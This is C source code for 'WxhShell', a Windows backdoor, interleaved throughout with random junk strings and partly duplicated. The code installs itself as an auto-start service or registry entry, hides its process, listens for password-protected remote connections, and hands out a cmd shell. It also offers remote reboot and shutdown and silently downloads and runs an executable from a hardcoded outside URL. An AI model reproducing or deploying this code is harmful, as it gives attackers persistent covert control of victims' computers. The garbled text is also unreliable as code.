N)j PROCESS_BASIC_INFORMATION pbi; h65-s XS BA$y HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^Q^_?~h*! if(NULL == hInst ) return 0; -o.:P>/ W"3ph6[eW g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); jZ3fKyp# g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Ip]KPrwp NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Yir
[!{ 0{[,E. if (!NtQueryInformationProcess) return 0; C{bgkzr Uv~QUL3> hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); R^e.s
- if(!hProcess) return 0; s|B3~Q] &l[$*<P5V if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &(mR>
mT A_#DJJMm CloseHandle(hProcess); !&Pui{F D#/Bx[ hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [ps*uva if(hProcess==NULL) return 0; jMDY(mwt BI}Cg{^km HMODULE hMod; 3 SGDy] char procName[255]; HOh!Xcu unsigned long cbNeeded; CWP2{ .k
\@zQ|Ta if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); u=_mvN t@Nyr&|D CloseHandle(hProcess); ]}(H0?OQR P}G+4Sk if(strstr(procName,"services")) return 1; // 以服务启动 wIBO
^w\J 8Dm%@*B^b return 0; // 注册表启动 K:Q<CQ2 } iRi-cQVy [R7Y}k:9U // 主模块 s&!a int StartWxhshell(LPSTR lpCmdLine) '-/xyAzS { k,F6Tx SOCKET wsl; xpx\=iAe BOOL val=TRUE; A6iq[b] int port=0; Nl(3Xqov struct sockaddr_in door; K>l~SDcZ3 78H'ax9m if(wscfg.ws_autoins) Install(); yqiq,=OvP W1FI mlXS port=atoi(lpCmdLine); e01epVR; +|>kCtZH% if(port<=0) port=wscfg.ws_port; }k
G9!sf nmi|\mof WSADATA data; N<KS(@v
y if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O|N{v"o xLZG:^(I if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; a"g!e^ setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); *%t^;&x? door.sin_family = AF_INET; E'.7xDN door.sin_addr.s_addr = inet_addr("127.0.0.1"); 3CGp`~Zf door.sin_port = htons(port); a,#j = Q7COQ2~K if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) {
H =^`! closesocket(wsl); Sw^u3 return 1; x*&|0n.D } Ziu]'# nSAdCJ;4 if(listen(wsl,2) == INVALID_SOCKET) { RTJ3qhY closesocket(wsl); fCobzDy
return 1; g]yBA7/S" } fG w9! Wxhshell(wsl); R=
o2K WSACleanup(); 'xg
Lt( %(G* , return 0; v(D;PS3r
7 PO7Lf#9] } /mu*-,aeX =;&yd';k // 以NT服务方式启动 c+nq] xOs' VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0aa&m[Mk { 9lH?-~9 DWORD status = 0; X~,aNRy DWORD specificError = 0xfffffff; 5K?IDt7A] *6F[t.Or serviceStatus.dwServiceType = SERVICE_WIN32; Yv!a88+A8M serviceStatus.dwCurrentState = SERVICE_START_PENDING; &<U0ZvrsH serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -FQ 'agf@& serviceStatus.dwWin32ExitCode = 0; )Z ?Ym.0/ serviceStatus.dwServiceSpecificExitCode = 0; #@~+HC= serviceStatus.dwCheckPoint = 0; B[-v[K2 serviceStatus.dwWaitHint = 0; Nf"r4%M<6 oVe|Mss6 hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Zt.|oYH$ if (hServiceStatusHandle==0) return; K_ ~"} ;^I*J:] status = GetLastError(); $.rhRKs if (status!=NO_ERROR) RnI&8 { J@Q7p} serviceStatus.dwCurrentState = SERVICE_STOPPED; /j|G(vt5 serviceStatus.dwCheckPoint = 0; .:QLk&a,:, serviceStatus.dwWaitHint = 0; aL&7 1^R, serviceStatus.dwWin32ExitCode = status; ,1CIBFY serviceStatus.dwServiceSpecificExitCode = specificError; !XCm>]R SetServiceStatus(hServiceStatusHandle, &serviceStatus); xZwLlY return; I \[_9 } |! E)GahM :'l^kSP_*C serviceStatus.dwCurrentState = SERVICE_RUNNING; NI
[
pp` serviceStatus.dwCheckPoint = 0; hPePB= serviceStatus.dwWaitHint = 0; 364`IC( a if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :Ab%g- } T7u%^xm )MchsuF< // 处理NT服务事件,比如:启动、停止 }n2M G VOID WINAPI NTServiceHandler(DWORD fdwControl) ],a 5)kV { TS9|a{j3! switch(fdwControl) Yqi4&~?db { B1C-J/J case SERVICE_CONTROL_STOP: d]6#m'U serviceStatus.dwWin32ExitCode = 0; #& Rw& serviceStatus.dwCurrentState = SERVICE_STOPPED; .1Al<OLL serviceStatus.dwCheckPoint = 0; [t@Mn serviceStatus.dwWaitHint = 0; &wCg\j_c { K[r^'P5m SetServiceStatus(hServiceStatusHandle, &serviceStatus); >X4u]>X } b@f$nS
B return; '*w00 case SERVICE_CONTROL_PAUSE: CtAwBQO serviceStatus.dwCurrentState = SERVICE_PAUSED; [knN:{ l break; r^paD2&} case SERVICE_CONTROL_CONTINUE: /%TI??PGu serviceStatus.dwCurrentState = SERVICE_RUNNING; 'JfdV%M break; lP@Ki5 case SERVICE_CONTROL_INTERROGATE: <Fc;_GG break; (ECnMti+ }; ^xh ; SetServiceStatus(hServiceStatusHandle, &serviceStatus); LNpup`>` } 3ojlB |Z % <*g!y ` // 标准应用程序主函数 HbAkZP int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) d>fkA0G/9! { P} SCF 72y0/FJ // 获取操作系统版本 oxkoA OsIsNt=GetOsVer(); 1Y@Aixx GetModuleFileName(NULL,ExeFile,MAX_PATH); Qqvihd TQ*1L:X7M& // 从命令行安装 ^_u kLzP9 if(strpbrk(lpCmdLine,"iI")) Install(); 48qV>Gwf \6<=$vD // 下载执行文件 M
.JoHH if(wscfg.ws_downexe) { sy"^?th}b if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) xt%7@/hiE WinExec(wscfg.ws_filenam,SW_HIDE); L3 --r } l6kWQpV 7/f3Z1g if(!OsIsNt) { ~ZEmULKkR // 如果时win9x,隐藏进程并且设置为注册表启动 Q[pV!CH HideProc(); Dg?70v<a StartWxhshell(lpCmdLine); JB`\G=PiL } Q/_f
zg else _:C9{aEZb if(StartFromService()) DhT>']Z // 以服务方式启动 v` 7RCg` StartServiceCtrlDispatcher(DispatchTable); ie\"$i.98H else -[!P!d= // 普通方式启动 *ikc]wQr$ StartWxhshell(lpCmdLine); G<f@#[$' af+IP_6
. return 0; 80/F7 q'tn } 3`.7<f` ~ZhraSI)G s6zNV4 `_{`l4i5 =========================================== J}+6UlD "a1n_>#Fb 6&l+0dq &LVn6zAba j eX^}]x|% 3]UUG " RUT,Y4 b U,q\emR #include <stdio.h> 7C ,UDp| #include <string.h> .wu
xoq #include <windows.h> M:3h e #include <winsock2.h> }36QsH8 #include <winsvc.h> ;u(<h?%e #include <urlmon.h> M8Z2Pg\0 b7tOo7a H) #pragma comment (lib, "Ws2_32.lib") : b~6i%b #pragma comment (lib, "urlmon.lib") U1RpLkibQ [uls8
"^/j #define MAX_USER 100 // 最大客户端连接数 u1PaHgi$ #define BUF_SOCK 200 // sock buffer &c%g #define KEY_BUFF 255 // 输入 buffer &PK\|\\2 Q|L9gz[? #define REBOOT 0 // 重启 rJ{O(n]j #define SHUTDOWN 1 // 关机 ,JN8f]a^"g )ZqJh #define DEF_PORT 5000 // 监听端口 #w-xBM
@ q51Uf_\/ #define REG_LEN 16 // 注册表键长度 p)3U7"q #define SVC_LEN 80 // NT服务名长度 @u%_1 qt
2d\f // 从dll定义API S. q].a typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ct,l^|0Hu8 typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); WjwLM2<nK7 typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Z%Zd2
v typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `Ru3L#@
nMvKTH // wxhshell配置信息 {0^&SI"5`E struct WSCFG { ?Poq2 int ws_port; // 监听端口 ehG/zVgn char ws_passstr[REG_LEN]; // 口令 Ve!fU int ws_autoins; // 安装标记, 1=yes 0=no !M]\I & char ws_regname[REG_LEN]; // 注册表键名 sZm$|T0 char ws_svcname[REG_LEN]; // 服务名 i21Gw41p: char ws_svcdisp[SVC_LEN]; // 服务显示名 e `,ds~ char ws_svcdesc[SVC_LEN]; // 服务描述信息 F^LZeF[#t char ws_passmsg[SVC_LEN]; // 密码输入提示信息 FMkzrs int ws_downexe; // 下载执行标记, 1=yes 0=no c#]q^L\x char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" <_Q:'cx' char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ?Ovqp-sw
$g+[yb7@ }; Y> Wu /3:q#2'v // default Wxhshell configuration Nn"+w|v[ev struct WSCFG wscfg={DEF_PORT, wqW0v\ "xuhuanlingzhe", *b}lF4O? 1, L^4-5`gj "Wxhshell", | j a- "Wxhshell", i?:_:"^x "WxhShell Service", [[Y0 "Wrsky Windows CmdShell Service", z,bQQ;z9 "Please Input Your Password: ", w MP 1, ' dx1x6 "http://www.wrsky.com/wxhshell.exe", nn9wdt@.] "Wxhshell.exe" &0( }; [.*;6y3 f'{]"^e= // 消息定义模块 FH%GIi char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !o+_T? char *msg_ws_prompt="\n\r? for help\n\r#>"; ]mXLg:3B char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; |7pR)KH3 char *msg_ws_ext="\n\rExit."; \Z/)Y;|mi0 char *msg_ws_end="\n\rQuit."; *"r~-&IL char *msg_ws_boot="\n\rReboot..."; o9S+6@ char *msg_ws_poff="\n\rShutdown..."; lF?tQB/a char *msg_ws_down="\n\rSave to "; S&Ee,((E( h=_0+\% char *msg_ws_err="\n\rErr!"; v\"S
Gc char *msg_ws_ok="\n\rOK!"; ?9=9C"&s 0{PzUIM,W char ExeFile[MAX_PATH]; n[,w f9 int nUser = 0; t2iv(swTe HANDLE handles[MAX_USER]; ~~,rp) ) int OsIsNt; yxq}QSb \3 ZzBQe SERVICE_STATUS serviceStatus; STw#lU) %( SERVICE_STATUS_HANDLE hServiceStatusHandle; (q7
Ry4- FwZ>{~?3 // 函数声明 ~/ilx#d int Install(void); dN}#2Bo= int Uninstall(void); Uyr3dN%*r int DownloadFile(char *sURL, SOCKET wsh); fiN3xP]V
int Boot(int flag); d/e|'MPX void HideProc(void); LJTQaItdqJ int GetOsVer(void); ?cEskafb> int Wxhshell(SOCKET wsl); 3#45m+D void TalkWithClient(void *cs); e=QK}gzX int CmdShell(SOCKET sock); %9#gB int StartFromService(void); :BGA. int StartWxhshell(LPSTR lpCmdLine); D\YE^8/ @M8|(N% VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); 2JS`Wqy VOID WINAPI NTServiceHandler( DWORD fdwControl ); Z0>DNmH* \Ro^*4B // 数据结构和表定义 #vqo -y7@ SERVICE_TABLE_ENTRY DispatchTable[] = ([VV%ovZ
{ lM[XS4/TRa {wscfg.ws_svcname, NTServiceMain}, =FT98H2*| {NULL, NULL} n7YEG-J }; VCcr3Dx()F *I0-O*Xr // 自我安装 tDCw- int Install(void) `[YngYw { ;eZ#b jw-d char svExeFile[MAX_PATH]; $eBX HKEY key; `O8b1-1q~ strcpy(svExeFile,ExeFile); OLj\-w^ nPgeLG"00 // 如果是win9x系统,修改注册表设为自启动 aRJ>6Q} if(!OsIsNt) { ?P7]u>H if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { <(e8sNe RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); |J~eLh[d RegCloseKey(key); hwDbs[: if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { X5*C+ I=2 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ow' lRHZ RegCloseKey(key); =0'q!}._! return 0; =_8Tp~j } |uH%6&\ } m3g2b _; } `ZaT}#Y else { M#@aB"@J>
l"zUv // 如果是NT以上系统,安装为系统服务 /)rkiwp SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); DBs*Fx[ if (schSCManager!=0) 1]T`n /d V { 2qO3XI SC_HANDLE schService = CreateService nB ". '= ( Jj^GWZRu schSCManager, Z_1*YRBY; wscfg.ws_svcname, (:+>#V)pZ wscfg.ws_svcdisp, T^} SERVICE_ALL_ACCESS, l**;k+hw SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , RP`2)/sMT SERVICE_AUTO_START, \ M/6m^zS SERVICE_ERROR_NORMAL, <vbIp& svExeFile, %AnW~v NULL, l~Lb!; ,dN NULL, )2E%b+" NULL, ^5 t NULL, Ut)r&? NULL Ab1/.~^ ); FCc=e{ if (schService!=0) -6Mm#sX { B )JM%r CloseServiceHandle(schService); k 2%S`/: CloseServiceHandle(schSCManager); G 8Y+w strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); cxYfZ4++m strcat(svExeFile,wscfg.ws_svcname); %:qoV0DR if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { @)8]e
S7 RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7CB#YP?E RegCloseKey(key); u.|~$yP.! return 0; w h$jr{
} i(6J>^I } Kt.~aaG_ CloseServiceHandle(schSCManager); ;#G%U!p } sxED7,A } wp.TfKxw [[)_BmS5r return 1; <Jp1A#
%p } fj'jNE NgB 7?]vu // 自我卸载 y$tX-9U int Uninstall(void) n`;R pr& { BvSIM%>h HKEY key; O hR1Jaed G(1 K9{i$ if(!OsIsNt) {
c~dM`2J, if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { tO.$+4a RegDeleteValue(key,wscfg.ws_regname); swpnuuC- RegCloseKey(key); $X+u={] if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =<<3Pkv7@ RegDeleteValue(key,wscfg.ws_regname); ?4)v`* RegCloseKey(key); r[Zq3 return 0; S9Yt 1qb } 3#<*k>1G? } /axTh } 0D)`2W else { Z]-WFU_
N s!6=|SS7 SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); p#_[ if (schSCManager!=0) xT F=Y_ { 04y!\ SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); CM~MoV[k7e if (schService!=0) LI:Tc7t { Kv+Bfh if(DeleteService(schService)!=0) { e4qj .b CloseServiceHandle(schService); ibF#$&! CloseServiceHandle(schSCManager); En9R>A;` return 0; LBX%H GH } Wtv#h~jy9 CloseServiceHandle(schService); [l[{6ZXt } _q Tpy)+ CloseServiceHandle(schSCManager); pX<a2FP } S>ugRasZ$ } B[xR-6phW Xi~9&ed#$i return 1; PX 3 } BQjam+u6 &P n] // 从指定url下载文件 Z|`fHO3j int DownloadFile(char *sURL, SOCKET wsh) YlUpASW { S]yvMj_? HRESULT hr; #Mi|IwL char seps[]= "/"; {~GR8
U char *token; WaYO1*= char *file; FWTx&Ip char myURL[MAX_PATH]; MtG_9- char myFILE[MAX_PATH]; +(ny|r[# 2;N@aZX strcpy(myURL,sURL); d~[UXQC token=strtok(myURL,seps); x9}++r while(token!=NULL) !O\X+#j { $au2%NL file=token; {of]/3= token=strtok(NULL,seps); qB JRS'6'9 } XU#,Bu{ /Antb6E GetCurrentDirectory(MAX_PATH,myFILE); .k]#XoE strcat(myFILE, "\\"); YhgUCF# strcat(myFILE, file); aW@oE
~` send(wsh,myFILE,strlen(myFILE),0); z`'P>.x
send(wsh,"...",3,0); A ^B@VuK hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); s -Y +x if(hr==S_OK) HP$K.a7H return 0; {Nq?#%vdT else Jf+7"![| return 1; >RR<eYu7m /`R dQ<($ } D_aR\ "3t\em! // 系统电源模块 ,35Ag#va int Boot(int flag) deM~[1e[ { ~N[|bPRmhE HANDLE hToken; D9ywg/Q91 TOKEN_PRIVILEGES tkp; bhKV +oN slSR=XOG if(OsIsNt) { zH+<bEo=1= OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); P|N?OocE LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); h>tsis'N9 tkp.PrivilegeCount = 1; [s %\.y(q tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; y#r\b6 AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 6{^*JC5nj if(flag==REBOOT) { 3o7xN=N if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) B&nw#saz. return 0; v@,XinB[ } :bw6 k else { 3"B+xbe= if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 4sd-zl$Of return 0; U$$3'n } 8DT@h8tA } U]j&cFbn5_ else { u<q)SQ1 if(flag==REBOOT) { jf7pl8gv if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) Y\>\[*.v return 0; Ty}R^cy{d } bBFwx @
else { ;8EjjF [> if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Fc{((x s return 0; auA.6DQ } Wy,"cT } 0hZxN2r ;q&Z9lm return 1; [EOMCH2Ki } w}b<D#0XC GFY-IC+fc // win9x进程隐藏模块 [+7"{UvT void HideProc(void) Fi k@hu { Q^ q=!/qQ j%GbgJ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rUvwpP"k if ( hKernel != NULL ) 2q|_Dma { _"v~"k 90^ pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 4Qhx[Hv>( ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); aZC*7AK
FreeLibrary(hKernel); _3zU,qm+ } zCM^r <Kr Obg@YIwn return; %g5jY%dg.r } @6[x%j/!bt l^BEFk; // 获取操作系统版本 ?PYNE int GetOsVer(void) V!}L<cN { yx 7loy$[ OSVERSIONINFO winfo; ;HT0w_, winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); >T(M0Tkt GetVersionEx(&winfo); !~tnti6 if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YN`UTi\s return 1; x:vrK#8D> else n=r=u'oi return 0; TVj1C } gBfX}EK7F }P16Xb)p // 客户端句柄模块 !
7Nn]Lx int Wxhshell(SOCKET wsl) /;b.-v& { x1:vUHwC SOCKET wsh; tc5M$b3^2 struct sockaddr_in client; AtuZF
DWORD myID; wbl${@4 8\P
JSr while(nUser<MAX_USER) e=-YP8l
{ \S'cWB int nSize=sizeof(client); oNrEIgaA(+ wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Ep,1}Dx if(wsh==INVALID_SOCKET) return 1; Za34/ro/T ?#U0eb5u handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0\QYf0o if(handles[nUser]==0) |@OJ~5H/{ closesocket(wsh); O&F<oM else nO-d"S* nUser++; kzW\z4f } \8
g. WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1k0^6gE| ?V.ig return 0; W6hNJb } 'wegipK~R QZqpF9Eu // 关闭 socket j}i,G!-u void CloseIt(SOCKET wsh) d|R
HG { D1"1MUSod closesocket(wsh); KPD@b=F nUser--; X"laZd947> ExitThread(0); }#YIl@E } %+/f'6kR xAFek;GY? // 客户端请求句柄 NEZH<# void TalkWithClient(void *cs) I4A; { !2/l9SUi 1w(<0Be SOCKET wsh=(SOCKET)cs;
=lYvj char pwd[SVC_LEN]; #!(Zn:[ char cmd[KEY_BUFF]; A!n~8zcmp} char chr[1]; X9p+a, int i,j; axHxqhO7zp "[FCQ while (nUser < MAX_USER) { 5ENov!$H 4+BrTGp if(wscfg.ws_passstr) { B'NS&7+]. if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9)1P+c-- //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); B b$S^F(Xq //ZeroMemory(pwd,KEY_BUFF); Y}85J:q] i=0; W^-hMT]uD while(i<SVC_LEN) { hQ\#Fhu7 -Mit$mFn // 设置超时 39'X$! fd_set FdRead; 7)g;Wd+H struct timeval TimeOut; Iwnj'R7: FD_ZERO(&FdRead); `#-p,NElV FD_SET(wsh,&FdRead); X%RQB$ TimeOut.tv_sec=8; PEMxoe<+ TimeOut.tv_usec=0; |p'_k(z} int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); o}5'v^"6, if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
J(H??9(s { mK pD if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); FjK Ke7 pwd=chr[0]; =M Q2sb if(chr[0]==0xd || chr[0]==0xa) { X20<r?^,, pwd=0; :7zI3Ml@7 break; w@<<zItSo } {"qW~S90YO i++; V3aY]#Su } B3ohHxHu !pE>O-| K // 如果是非法用户,关闭 socket q8&4=eV\A if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); H620vlC}V } D/+@d:- G T\<M?`Y send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); UHTb61Gs send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ~hxeD" w C.DoXE7 while(1) { V>~*]N^f 4nX'a*'D~} ZeroMemory(cmd,KEY_BUFF); A- <.# WV9[DFU // 自动支持客户端 telnet标准 t!+%g) @ j=0; [ni-UNTv while(j<KEY_BUFF) { @y&h4^)z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); q[T_*X3o cmd[j]=chr[0]; EbHUGCMO if(chr[0]==0xa || chr[0]==0xd) { $D0)j(v cmd[j]=0; 0B#rqTEKu break; mP`,I"u } RXCygPT j++; <"j"h=tm} } _dH[STT IJL^dXCu // 下载文件 [kU[}FT if(strstr(cmd,"http://")) { gwkZk-f\p send(wsh,msg_ws_down,strlen(msg_ws_down),0); S1 R #] if(DownloadFile(cmd,wsh)) g[uE@Gaj& send(wsh,msg_ws_err,strlen(msg_ws_err),0); x<)!$cg else ?CL z@u~ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _&8KB1~ } M[&.kH else { DU*Hnii m-&a~l switch(cmd[0]) { (RI>aDGRH Lt#:R\;& // 帮助 }K qw\]` case '?': { A=@V LU4% send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 'RN"yMv7l break; Ezo" f } 3 8ls 4v3 // 安装 )aO!cQ{s case 'i': { \dQ2[Ek if(Install()) "1pZzad
send(wsh,msg_ws_err,strlen(msg_ws_err),0); b W`)CWd else `s|\"@2 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _YD<Q@ break; +eH=;8 } (\AszLW // 卸载 +L<w."WG case 'r': { 9h)P8B.>M if(Uninstall()) ).@)t:uNa send(wsh,msg_ws_err,strlen(msg_ws_err),0); !*$'fn'bAA else !Dhfr{ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); eQ4B5B%j/x break; \t7zMp } r.W"@vc> // 显示 wxhshell 所在路径 Jg?pW:}R case 'p': { x Ps&CyI char svExeFile[MAX_PATH]; Sd/d [ strcpy(svExeFile,"\n\r"); LqH?3): strcat(svExeFile,ExeFile); &nY2u-Q send(wsh,svExeFile,strlen(svExeFile),0); !'UsC6Y4 break;
e>s.mH6A } lj% ;d' // 重启 [s&
y_[S case 'b': { \ &|w; send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); vb4G_X0S if(Boot(REBOOT)) q@=#`74 6e send(wsh,msg_ws_err,strlen(msg_ws_err),0); !15@M|,OL else { !IrKou)/_ closesocket(wsh); 5juCeG+Z ExitThread(0); sC'A_ -' } ,YuWz$aF{ break; +HVG5l } wNlV_ // 关机 'e8d["N case 'd': { @a{v>) send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); IcNI uv if(Boot(SHUTDOWN)) -a#AE|` send(wsh,msg_ws_err,strlen(msg_ws_err),0); +[go7A$5 else { j^R~ Lt4 closesocket(wsh); W(3~F2 ExitThread(0); )SO1P6 } V3Rnr8 break; ]q\= } '$&(+>)z` // 获取shell 1pBsr( case 's': { 3 %{'Uh, CmdShell(wsh); %nK15( closesocket(wsh); ?}>B4Z) ExitThread(0); 0yEyt7
~@ break; )SZ,J-H08w } 8`R}L // 退出 bKbpI>;[ case 'x': { d%|#m) send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 7G #e~,M5 CloseIt(wsh); '}[L sU break; c^/?VmCQ} } ?.'oxW
// 离开 rD)v%vvr&` case 'q': { ;|e 0{Jrz send(wsh,msg_ws_end,strlen(msg_ws_end),0); I<o4 l[-- closesocket(wsh); AhFI, x WSACleanup(); X2mm'JDwK exit(1); .J!
$,O@ break; Q $,kB<M } )#TJw@dNf^ } ?&bVe__ } EYj2h
.k %QcG^R // 提示信息 g 0_r if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \<+47+ } pHbguoH, } Q,+*u%/u Gt*<? return; ,'0oj$~S: } N`^W*>XB T;e (Q,!H // shell模块句柄 V$]a&wM<5 int CmdShell(SOCKET sock) V?pO ~qo { Bd]DhPhJ STARTUPINFO si; C=f(NpyD6 ZeroMemory(&si,sizeof(si)); NNrZb? si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; wUPywV1UO si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; WYd,tGz PROCESS_INFORMATION ProcessInfo; W}i$f -K char cmdline[]="cmd"; MrjB[3Td CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); %^BOYvPx return 0; i:
uA&9 } 544I#! u+T, n // 自身启动模式 CX2q7azG int StartFromService(void) :JG}% { *j; r|P;g typedef struct 9>Z#o<*_/ { ])";Z DWORD ExitStatus; YQd&rkr DWORD PebBaseAddress; =-&iF DWORD AffinityMask; &:{yf= DWORD BasePriority; N=q29JU ULONG UniqueProcessId; ,>EY9j ULONG InheritedFromUniqueProcessId; "4-Nnm } PROCESS_BASIC_INFORMATION; l.'E\3Bo OehB"[;+ PROCNTQSIP NtQueryInformationProcess; *y@]zNPD hLA=7 static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; !ef)Ra-W static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; h | R$3+ 01j| HANDLE hProcess; x \{jWR% PROCESS_BASIC_INFORMATION pbi; qMj
e,Y e?fjX- HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); KFrmH if(NULL == hInst ) return 0; s9dBXfm !f2>6}hE g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); ]$*_2V3VA$ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~}l,H:jk@ NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ^]K)V zL{@LHP if (!NtQueryInformationProcess) return 0; g5'bUYsa yc}t(*A5 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \0& (q%c if(!hProcess) return 0; ?Qp_4<(5 im\Ws./ if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; s'w0pZqj 7oSuLo= CloseHandle(hProcess); f}uCiV!?v C#cEMKa hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); r+yLK(<zp if(hProcess==NULL) return 0; .Cd$=v6 ! (tJZ5 HMODULE hMod; +\m!#CSA char procName[255]; eW<hC( unsigned long cbNeeded; Sgy~Z^ Za?&\ 